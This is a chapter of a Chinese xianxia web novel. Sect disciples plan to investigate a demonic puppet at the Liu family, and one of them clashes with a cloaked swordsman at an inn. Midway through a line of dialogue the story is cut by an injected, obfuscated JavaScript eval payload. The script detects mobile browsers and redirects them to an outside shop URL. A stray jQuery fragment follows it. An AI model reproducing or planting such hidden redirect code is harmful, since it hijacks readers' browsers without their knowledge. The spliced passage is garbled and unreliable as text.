云中水榭。
“师尊,她离开了?”元明问。
花叶未答,而是反问道:“怎么,你也要出派历练?”
历练?元明似有有所感应,掌心里浮现出一颗水凝珠,问:“这是?”
“陈平也带着一颗,且是从你这颗水凝珠里分离出去的。”
“那我……”
“不错,你可以随时得知她去了何处。”
元明默然,他看了水凝珠一会儿,得知陈平如今在何处,转身离开。
“大比前我会回来。”
花叶有些惊奇:“你也要参加今次的内门弟子大比?”
元明顿住脚,略带犹豫,却还是道:“……嗯。”
花叶笑出来:“好。”
世家城,朗月楼。
沉殊带着方玄两人再次下榻老地方。
“都是老顾客了,怎么还要这么多灵石,一点优惠也没有。”她嘟嘟囔囔几句,然后窝窝囊囊地掏出一堆灵石交给了掌柜的。
“嘿嘿,承蒙惠顾。”掌柜的仔细瞧瞧,发现几人还是面生。
“什么老顾客,分明就是想冒充常客骗我折扣。”
哼,他岂会上当。
沉殊进了房间才想起来,他们几人都吃过易容丹,面容自然和之前来时全然不同。
于是她卸下伪装,又恢复了之前那般模样。
方外山拿出三枚符箓,分别交给他们,说:“这是离派之前掌教怕我们被有心之人盯上特意炮制的匿影符,佩戴在身上可以隐匿自身气息与行踪,只是持续的时间不长而已。”
“真是有了大用了。”沉殊感叹一句,接过符箓。
“时间够用了。”玄离思说。
方外山听出他的话外之意,问:“离思师弟是还要办什么事?”
玄离思刚要点头,便听见沉殊说:“纵是有天大的事也要治好伤再说。”
“那师姐之意是先回派?”
沉殊状若无意地扫了玄离思一眼,嗯了一声。
玄离思:“师姐,不能回。”
她当然知道刚出磐石派又进虎咆派,若被手段多样的花叶探查到,会被虎咆派惹来多大的麻烦,她只是想借此事试探一下玄离思,当然,也有几分逗弄的意味在。
“那你说说为何不能回,”她问,“你要去何处,去做什么。”
“还记得姜海吗?他的死很不同寻常,“玄离思语气平缓,”我曾知晓魔族有一种傀,叫做游丝傀,炮制此傀的方法似是在古籍中有些记载,不太可能出现在如今的甘霖洲。“
方外山连忙布下结界,神色凝重:“离思师弟,你所说为真?”
“我何必骗你和师姐。”
沉殊:“就算是什么傀儡,单凭我们三人也万万解决不了此事。这样吧,方外山,用玄机鸟传书一封,将阿离怀疑之事告诉掌教。”
方外山立即应声:“是,师姐。”
“那让我来猜猜,你不想回派,就是想去寻找这傀儡出现的源头?”沉殊又道。
玄离思眼眸幽沉如潭,听她说罢,嘴角上扬:“师姐真是玲珑心思,猜对了。”
沉殊:“哦,我知道了,是柳家。”
方外山也想起来一人:“柳家小姐柳如嫣!”
“可她中了人面恶之毒,”沉殊回想,轻声,“怕是早死了。”
“不,还记得那日吗?柳家家主亲自将她救走了。”玄离思说。
“那这么说来,以她在柳家的地位,没了螭龙,柳家家主也定会为她找别的解毒之药。”沉殊道。
方外山:“师姐所说有理。”
“有什么理,一切尚是猜测。”
“那我们不如尽快去证实师姐这猜测。”玄离思看向沉殊。
“阿离。”沉殊叫了他一声。
玄离思看着她笑起来。
可惜沉殊早就知道玄离思一副乖巧模样下面是怎样的心肠,她语气平常地问:“你是从何处得知魔族中有这样一种傀的?”
“我也记不得了。”玄离思摇摇头,语气中带有一丝黯然。
这倒是个好理由,起码让沉殊找不到任何话再去问他。
于是她只能作罢,说:“明日我们去柳家走一遭吧。”
方外山犯难:“可我们要以什么身份去呢?”
沉殊理所当然:“自然是做任务的磐石派弟子。”
“啊?”
见两人都是一副吃惊模样,沉殊神态自然:“我说过了,我们可以是任何身份。”
“况且我真的是磐石派弟子啊。”她笑了笑。
方外山和玄离思皆哑然。
她说得也没错。
同一日晚上。
魔刹出现在玄离思房内,禀报:“他曾在妙鸣宗停留。”
“妙鸣宗?”玄离思一时想不透,“他去那里做什么?“
“属下不敢贸然破除妙鸣宗的护宗大阵,因此未能进入细探。”
玄离思淡淡地嗯了声,问:“那他如今行踪呢?”
魔刹摇头,说:“似乎离您很近……他从妙鸣宗出来后,属下便对他难以追踪了,只能隐约察觉到方位。”
离他很近?难道也在这世家城里?
宗门……世家……
这其中有什么关联、玄离衡又到底想做什么?
“他又在下一盘大棋。”玄离思自语。
“这些时日请您务必小心,您的伤……”魔刹语气谨慎。
“无妨,”玄离思想起什么,笑笑,“师姐为我寻来了好药,我的伤不日就会大好。”
“……”
师姐?
小魔主该不会已经沉迷其中了?
他离去前,玄离思问:“虎咆派那个可联系你了?”
魔刹:“并无。”
玄离思稍稍放心:“去吧,近日不要再有任何动作。”
外面传来一丝熟悉的气息,他眉头微皱,神识外放,看到了一只脚迈进朗月楼的白篷人。
怎么又是他?
玄离思下楼,坐到了他身侧,在他端起杯盏的瞬间,杯盏裂开道道细纹,酒水洒了一手。
白篷人这才抬眸瞧了他一眼:“……”
而后他脾气颇好地道:“道友有事?”
玄离思视线停留在他的剑上,剑通体裹缠着平平无奇的黑布,剑身略长。
“你我不久前见过。”
“我见过的人很多,”白篷人低眸瞧着桌上的杯盏碎片,说,“赔。”
玄离思哼笑:“你要我如何赔?”
“你能赔什么?”
“你想要的我都能赔起。”
“与你同行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715961|207350||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的那位道友。”白篷人语气平淡。
他话音落罢,玄离思神色蓦然变化,眼眸沉沉如大雨欲来,他的手掌覆在桌上,桌上一应杯盏轰然粉碎。
白篷人伸手,剑正巧落到他掌心。
“你若想死,”玄离思说,“我一掌便可以了结了你。”
白篷人沉默,而后道:“……是我哪句话说错了?”
“她对你很重要?”
“聒噪。”玄离思起身,“不论你有何目的,离开此处。”
“我想见见她。”
玄离思站定,戾气丛生:“滚。”
白篷人也站了起来。
周遭景色陡然变幻,玄离思眼前一阵白茫,只是不过两个呼吸,他眼前又变回了酒楼那般景色。
“阿离,上来。”
原来是沉殊。
玄离思侧眸看去,白篷人已经毫无影踪了。
沉殊见他不动,稍稍偏头,越过他看去,便看见掌柜的哭天抢地地朝那一片狼藉奔去。
她一猜就知道是谁干的:“……”
掌柜的哭嚎:“这可是上好的东海沉木打造的八仙桌啊!还有这些灵瓷杯,都碎了!”
沉殊见状,悄悄挪步。
玄离思这时扬声道:“师姐。”
沉殊身体一僵,暗暗咬牙,这个藏不住獠牙的小狗崽子,闯祸了还要拉上她!
掌柜的:“灵石!我要灵石!”
赔了三百灵石后,沉殊浑身怨气,玄离思随着她的步伐去到楼上。
走着走着沉殊忽然停了下来,转过头问:“方才你在和谁聊天?”
玄离思皱眉:“你看见了?”
沉殊摇头。
“师姐不认识他。”
“你认识?”
“有过一面之缘,日后怕是不会再见了,”下次再见直接杀了就是,玄离思这般想着,说,“师姐方才找我有事?”
“随我去房内说。”
房间内,沉殊将那株珍品紫叶莲拿了出来,说:“方才我查阅了一下药典,上面说紫叶莲可整株直接服食,药效比炼成丹丸服用效用更好,只是紫叶莲药性很是奇特,起初温和,化为药力进入周身经脉后便变得猛烈无比,你若能承受此痛,不如提前吃了它。”
她说了一堆,玄离思看着她,问道:“师姐是想尽早将我的伤治好?”
沉殊倒也不是因为担心他,只是务实而已:“你所说那游丝傀之事,我觉得非同小可。尤其是此去柳家,你若伤好,遇到什么危险也能周旋拖延一二。”
“师姐思虑周全,就算不是为了我,我也会听你的话。”
玄离思摊开掌心,示意她将紫叶莲交给他。
没有过多犹豫,他将紫叶莲连花带叶都吞服了下去。
沉殊瞧着他的脸色,略显紧张,一收往日散漫模样,问:“感觉如何?”
玄离思神色一变。
沉殊猛地站了起来。
玄离思没料到她反应这么大,倏地笑出声来。
“师姐,你乱了。”
沉殊看着他,没有为他一时的捉弄而生气,上手捏住他两边脸颊,疑惑:“你的反应为何和药典上面写的不同?”
她弯腰仔细察看:“你到底吃了没有?”
玄离思愣愣地看着她,耳尖冒出热气。